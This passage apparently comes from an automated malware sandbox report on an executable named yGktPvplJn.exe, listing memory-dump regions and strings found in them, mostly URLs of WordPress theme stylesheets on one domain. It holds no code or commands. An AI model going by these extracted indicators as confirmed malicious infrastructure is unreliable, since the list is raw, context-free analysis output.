00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/blog.css?ver=1.5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/contact.css?ver=1.5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/custom-class.css?ver=1.5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/custom.css?ver=1.5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/font-awesome.min.css?ver=4.3.0
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/grid.css?ver=1.5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/gutenberg.css?ver=1.5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/icon-moon.css?ver=f2be1e56f264ae0e8c5e5b633be8858d
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/layout.css?ver=1.5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/material-design-iconic-font.min.css?ver=f2be1e56f264
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/pe-icon-7-stroke.css?ver=f2be1e56f264ae0e8c5e5b633be
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/themes/oldhaven/css/portfolio.css?ver=1.5
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 